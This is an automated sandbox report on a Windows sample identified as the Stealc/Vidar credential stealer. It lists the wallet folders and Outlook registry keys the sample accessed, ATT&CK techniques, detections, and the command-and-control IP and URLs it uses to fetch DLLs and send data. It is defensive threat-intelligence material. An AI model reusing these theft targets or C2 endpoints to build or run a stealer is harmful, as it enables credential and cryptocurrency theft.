Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2019693058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	34 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.phpfz	20%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlle=	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpi2Z	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpfz	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true	20%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IDHIDBAEGIIIDHJKEGDB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpu2V	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllw=	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll/=	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326505136.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phph	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpg	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2326943803.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpinomi	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/b.u	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php12	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php%2	file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	false		unknown
https://support.mozilla.org	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwindow-state.jsonc	file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538069
Start date and time:	2024-10-20 08:39:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 76 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.103
	EY5iB1Y7CH.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	xvus4NLqiQ.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.103

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKECBFBAEBKJJJJKFCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKJEGDGIJECGCBGCGHDGIEGCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKJKEHIJECGCBFIJEGIDBGIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJDHCBAEHJJJKKFIDGHJECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIDBAEGIIIDHJKEGDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
